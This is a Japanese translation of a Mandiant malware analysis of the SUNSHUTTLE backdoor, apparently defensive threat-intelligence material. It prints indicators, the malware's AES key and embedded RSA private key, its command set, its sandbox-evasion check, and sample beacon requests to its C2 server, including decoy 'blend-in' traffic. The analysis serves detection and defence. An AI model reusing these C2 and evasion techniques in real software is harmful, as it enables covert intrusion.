エグゼクティブサマリー
- 2020 年 8 月、米国を拠点とする企業が、私たちが SUNSHUTTLE と命名した新しいバックドアを公開マルウェア リポジトリにアップロードしました。
- SUNSHUTTLE は、GoLang で記述された第 2 段階のバックドアであり、いくつかの検出回避機能を備えています。
- Mandiant は、UNC2452 によって侵害された被害者で SUNSHUTTLE を観察し、それが UNC2452 にリンクされていることを示していますが、この接続を完全には検証していません。
- 関連する MITRE ATT&CK 手法 (T1027、T1027.002、T1059.003、T1071.001、T1105、T1140、T1573.001) については、テクニカル アネックスを参照してください。
このブログ投稿で説明されているアクティビティは、 Microsoft のブログ投稿でも詳しく説明されています。この攻撃者を追跡するために多大な協力をしてくれた Microsoft のチームと他のパートナーに感謝します。
脅威の詳細
Mandiant Threat Intelligence は、2020 年 8 月に、米国に拠点を置くエンティティによってパブリック マルウェア リポジトリにアップロードされた新しいバックドアを発見し、それを SUNSHUTTLE と名付けました。 SUNSHUTTLE は GO で記述され、組み込みまたはローカルの構成ファイルを読み取り、HTTPS を介してハードコーディングされたコマンド アンド コントロール (C2) サーバーと通信し、その構成のリモート アップロード、ファイルのアップロードとダウンロード、および任意のコマンドの実行を含むコマンドをサポートします。特に、SUNSHUTTLE は Cookie ヘッダーを使用して C2 に値を渡します。構成されている場合は、人気のある Web サイト URL のリストからリファラーを選択して、そのようなネットワーク トラフィックが「溶け込む」のを助けることができます。
- 調査した SUNSHUTTLE バックドア ファイル「Lexicon.exe」(MD5: 9466c865f7498a35e4e1a8f48ef1dffd)は、GoLang で記述されていました。ファイルは MD5 に解凍されます: 86e89349fefcbdd9d2c80ca30fa85511。
- SUNSHUTTLE の感染経路は不明です。これは、最初の侵入後に第 2 段階のバックドアがドロップされた可能性が最も高いです。
- SUNSHUTTLE サンプルは、攻撃者が制御するサーバー「reyweb[.]com」を C2 に使用します。 「Reyweb[.]com」は、ビットコイン支払いを受け入れるドメイン プロバイダーである NameSilo を介して匿名で登録されており、ロシア関連のアクターやイラン関連の APT を含む、過去に国家支援の APT によって C2 登録に使用されてきました。
Mandiant は、UNC2452 によって侵害された被害者で SUNSHUTTLE を観察し、それが UNC2452 にリンクされていることを示していますが、この接続を完全には検証していません。
UNC2452 と SUNBURST キャンペーンの背景については、FireEye のリソース センターを参照してください。
展望と影響
新しい SUNSHUTTLE バックドアは洗練された第 2 段階のバックドアであり、C2 通信用の「ブレンドイン」トラフィック機能を介して、単純かつ洗練された検出回避技術を示します。 SUNSHUTTLE は、他の SUNBURST 関連ツールと一緒にネットワーク偵察を行うための妥協の第 2 段階のバックドアとして機能します。
テクニカルアネックス
Mandiant Threat Intelligence は、オンラインのマルチ アンチウイルス スキャン サービスにアップロードされた SUNSHUTTLE バックドアのサンプルを発見しました。 SUNSHUTTLE は、GO で記述されたバックドアであり、組み込みまたはローカルの構成ファイルを読み取り、HTTPS を介して C2 サーバーと通信し、構成のリモート更新、ファイルのアップロードとダウンロード、および任意のコマンドの実行を含むコマンドをサポートします。
- Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
- C2: レイウェブ[.]com
- 利用できません (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
- 9466c865f7498a35e4e1a8f48ef1dffd の解凍バージョン
感染ベクター
分析されたサンプルでは、感染ベクターは不明です。
実行
実行の概要
SUNSHUTTLE は GoLang で書かれたバックドアです。 SUNSHUTTLE が実行されると、実行の概要は次のようになります。
- 構成設定の決定
- C2 に「セッション キー」を要求する
- C2 から「セッション キー」を取得します。
- セッション キーが取得されると、SUNSHUTTLE はコマンド リクエスト ビーコン ループを開始します。
- コマンド リクエスト ビーコンを開始する
- コマンドを解決してアクションを実行する
分析された SUNSHUTTLE サンプルには、マルウェアによって使用されたルーチンの名前が保持されています。これには、次のものが含まれます。
main.request_session_key |
main.define_internal_settings |
main.send_file_part |
main.clean_file |
main.send_command_result |
main.retrieve_session_key |
main.save_internal_settings |
main.resolve_command |
main.write_file |
main.ビーコン |
main.wget_file |
main.fileExists |
main.encrypt |
main.decrypt |
メイン.ランダム |
main.removeBase64Padding |
main.addBase64Padding |
main.delete_empty |
main.Unpad |
main.GetMD5Hash |
main.パッド |
注: SUNSHUTTLE バックドア全体で、Cookie ヘッダーを介して C2 に対して実行されている操作を示すために一意の文字列識別子が使用され、C2 からの応答コンテンツを検証および解析するためにも一意の文字列識別子が使用されます。これらの一意の文字列値は、コンパイルされたサンプルごとに一意でランダムであると考えられます。
初期実行
実行されると、SUNSHUTTLE バックドアは被害者の MAC アドレスを列挙し、それをハードコードされた MAC アドレス値「c8:27:cc:c2:37:5a」と比較します。一致が見つかった場合、バックドアは終了します。 MAC アドレスは、Windows サンドボックス ネットワーク アダプターの既定の MAC アドレスである可能性があります。
構成
チェックが成功すると、SUNSHUTTLE バックドアは「 main_define_internal_settings」という名前のルーチンに入ります。これは、SUNSHUTTLE が実行されているディレクトリに構成ファイルが存在しない場合に、構成ファイルの作成を処理します。分析したサンプルの構成ファイル名は「config.dat.tmp」です。構成データは Base64 でエンコードされ、次のキーを使用して AES-256 で暗号化されます。
hz8l2fnpvp71ujfy8rht6b0smouvp9k8
Base64 がデコードされ、AES が復号化された場合、構成には次の例の値があります。
48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
構成には、「|」で区切られた複数の値が保持されます。以下に簡単に説明します。
- 48b9e25491e088a35105274cae0b9e67
- 実行中に計算された現在のタイムスタンプの MD5 ハッシュ。
- 5-15
- SUNSHUTTLE の実行時にスリープ時間をランダムに生成するために使用される下限/上限
- 0
- 0 または 1 — 「ブレンドイン」トラフィック リクエストを利用します。内部的に「false_requesting」と呼ばれる
- 0
- 実行タイムスタンプをアクティブにする (デフォルトでは 0) — 現在の時間が構成の値よりも大きい場合、実行が「アクティブ化」または続行されます。
- TW96awxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w- HTTPS リクエストで使用される Base64 でエンコードされたユーザー エージェント
- デコード: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
構成で設定されている場合、マルウェアが実行され、そのルーチンを移行すると、「ブレンドイン」トラフィックが発生します。次の URL は、「ブレンドイン」リクエストに利用されます。
- https://reyweb[.]com/icon.ico
- https://reyweb[.]com/icon.png
- https://reyweb[.]com/script.js
- https://reyweb[.]com/style.css
- https://reyweb[.]com/css/style.css
- https://reyweb[.]com/css/bootstrap.css
- https://reyweb[.]com/scripts/jquery.js
- https://reyweb[.]com/scripts/bootstrap.js
- https://cdn.mxpnl[.]com/
- https://cdn.google[.]com/
- https://cdn.jquery[.]com/
- https://code.jquery[.]com/
- https://cdn.cloudflare[.]com/
セッション キーのメカニズム
SUNSHUTTLE は、C2 に対して最初の要求を実行して要求し、内部でセッション キーと呼ばれるものを取得します。 C2 から取得されたセッション キーは、SUNSHUTTLE に埋め込まれ、コンパイルされたサンプルごとに一意であると考えられる次の秘密キーを使用して RSA 復号化されているようです。復号化されたセッション キーがどのように使用されるかについては分析が進行中ですが、SUNSHUTTLE がコマンド アンド コントロール ルーチンに移行すると、コンテンツの暗号化に使用されるセッション キーである可能性があります。
—–プライベートキーの開始—–
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
ADDHYP/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAOIBAGe4hPDe13OXTBQK
uTAN+dEKV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCem23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmagmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
pUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAR6f6oX4MICBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDweryvxLhZEys2P7XTwYGQ/GreA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOLOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfs/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
—–秘密鍵の終了—
構成が作成または読み取られた後、SUNSHUTTLE は「 main_request_session_key」という名前のルーチンに入ります。マルウェアは、成功するまでこのルーチンを反復し、反復ごとに一定期間スリープします。
「 main_request_session_key」ルーチン内で、SUNSHUTTLE は設定された C2 への HTTPS リクエストを作成します。リクエストからの HTTP 200 レスポンスでは、C2 からのレスポンス データには、分析されたサンプルの次の文字列が含まれていないと予想されます。
- ywQdjLuHHC
request_session_key ルーチンは、文字列が応答にない場合は 1 を返し、応答にある場合は -1 を返します。 request_session_key の結果が 1 の場合、SUNSHUTTLE は retrieve_session_key ルーチンを実行します。
retrieve_session_key ルーチンは再び C2 に接続し、前述の埋め込まれた秘密鍵によって復号化されると予想されるコンテンツをダウンロードします。復号化されたコンテンツは、SUNSHUTTLE がコマンド アンド コントロール ルーチンに移行したときにコンテンツを暗号化するために使用されるセッション キーである可能性があります。
命令する
セッション キーが C2 から取得されると、SUNSHUTTLE はループ内でビーコンと「resolve_command」ルーチンを開始します。 SUNSHUTTLE は、まずコマンドを取得するためにビーコンを発行します。その後、SUNSHUTTLE はルーチン「resolve_command」に入り、応答の内容を解析して実行するコマンドを決定します。使用可能なコマンドには、構成のリモート更新、ファイルのアップロードとダウンロード、および任意のコマンドの実行が含まれます。
「main_beaconing」ルーチンの後に C2 から返されたコンテンツは、Base64 でデコードされ、AES で復号化されます。復号化されたコンテンツに次の文字列が含まれていないことを確認するためのチェックが実行されます。
- Cp5RTQ31R1
前述のように、これらの文字列はサンプルごとに一意であり、コンパイル時にランダムに生成される可能性があります。
復号化されたコンテンツは、特定の一意の文字列について解析されます。
復号化された応答の一意の文字列 |
意味 |
zSsP2TSJJm3a |
睡眠範囲を更新 — 設定を保存 |
aQJmWJzXdYK721mGBI3U |
「false requesting」値を更新 – 設定を保存 |
W5VYP9Iu2uyHK |
C2 URL とユーザーエージェントを更新 – 設定を保存 |
3487wD9t2OZkvqdwRpqPeE |
現在のタイムスタンプを C2 に送信する |
ubFxROBRwfswVRWNjLC |
構成内の「アクティベーション」タイムスタンプを更新 — 構成を保存 |
TMuhGdA9EHY |
ファイルが存在する場合は、ファイルを C2 にアップロードします |
1kG4NaRX83BCMgLo38Bjq |
コマンドを実行 – 成功した場合は「EXECED」を返す |
hB0upT6CUmdRaR2KVBvxrJ |
コマンドの実行 – 結果/出力を返す |
該当なし (その他の文字列基準を満たしている) |
端末コマンドの実行を提供します |
該当なし (その他の文字列基準を満たしている) |
C2からファイルをダウンロード |
ドロップされたファイル
マルウェアの実行に成功すると、被害者のシステムに次のファイルをドロップします。
- <現在のディレクトリ>config.dat.tmp (MD5: 動的)
- 暗号化された構成ファイル
永続化方法
SUNSHUTTLE マルウェアが独自の持続性を設定することは確認されていません。 SUNSHUTTLE の実行外でパーシスタンスが設定されている可能性があります。
ネットワーク通信
SUNSHUTTLE は Cookie ヘッダーを使用して値を C2 に渡します。さらに、次のリストからリファラーが選択されます。これは、おそらく、トラフィックが検査のために復号化されている場合にトラフィックをブレンドするためです。
- www.bing.com
- www.yahoo.com
- www.google.com
- www.facebook.com
Cookie ヘッダーは、実行される操作によって若干異なります。以下は、「request_session_key」ルーチンから C2 へのリクエストの例です。
C2の被害者
GET /assets/index.php HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
クッキー: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
リファラー: www.facebook.com
Accept-Encoding: gzip
Cookie ヘッダー内で、これらの値は次のことを表します。
- HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
- 構成内に含まれるタイムスタンプ MD5
- P5hCrabkKf=gZLXIeKI
- 「P5hCrabkKf=」には、要求を実行しているルーチンに基づく一意の文字列が含まれています (次の表を参照)。
- IN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
- 「i4zICToyI70Yeidf1f7rWjm5foKX2Usx」は、SUNSHUTTLE バックドア内にハードコードされています。ペイロード識別子を表している可能性があります
- b7XCoFSvs1YRW=78
- 目的不明。この値は、request_session_key および retrieve_session_key リクエストにのみ含まれます。
前述のように、各リクエストに含まれる Cookie 値「P5hCrabkKf=」は、実行中の操作を示します。
「P5hCrabkKf=」クッキー値 |
意味 |
gzlxiek |
main_request_session_key |
do1KiqzhQ |
main_clean_file |
t5UITQ2PdFg5 |
main_wget_file |
cIHiqD5p4da6OeB |
main_retrieve_session_key |
xpjQVt3bJzWuv |
main_send_file_part |
S4rgG1WifHU |
main_send_command_result |
マルウェアのインストール/初期化が成功すると、TCP/443 HTTPS 経由で C2 サーバー reyweb[.]com に次のコールバックを行います。
C2の被害者
GET /assets/index.php HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
クッキー: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
リファラー: www.facebook.com
Accept-Encoding: gzip
C2の被害者
GET /assets/index.php HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
クッキー: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
リファラー: www.yahoo.com
Accept-Encoding: gzip
さらに、「fake_requesting」構成値が 1 に設定されている場合、SUNSHUTTLE は実際のトラフィックと混じり合うことを意図したトラフィックを生成します。これらの要求の例は次のとおりです。
C2の被害者
GET /icon.png HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.google.com
Accept-Encoding: gzip
C2の被害者
GET /css/style.css HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.facebook.com
Accept-Encoding: gzip
C2の被害者
GET /css/bootstrap.css HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.facebook.com
Accept-Encoding: gzip
正当化する犠牲者
GET / HTTP/1.1
ホスト: cdn.cloudflare[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.google.com
Accept-Encoding: gzip
付録: MITRE ATT&CK フレームワーク
技術 |
説明 |
T1027 |
難読化されたファイルまたは情報 |
T1027.002 |
ソフトウェアの梱包 |
T1059.003 |
Windows コマンド シェル |
T1071.001 |
ウェブプロトコル |
T1105 |
Ingress ツール転送 |
T1140 |
ファイルまたは情報の難読化解除/デコード |
T1573.001 |
対称暗号 |
付録: テクニックの検出
FireEye のセキュリティ ソリューションは、電子メール、エンドポイント、およびネットワーク レベルでの SUNSHUTTLE アクティビティの検出を提供します。以下は、このブログ投稿で概説されているアクティビティに関連する既存の検出のスナップショットです。
プラットフォーム |
検出名 |
|
|
エンドポイント セキュリティ |
マルウェア防御 (AV/MG)
|
参照: https://www.mandiant.com/resources/blog/sunshuttle-second-stage-backdoor-targeting-us-based-entity
Comments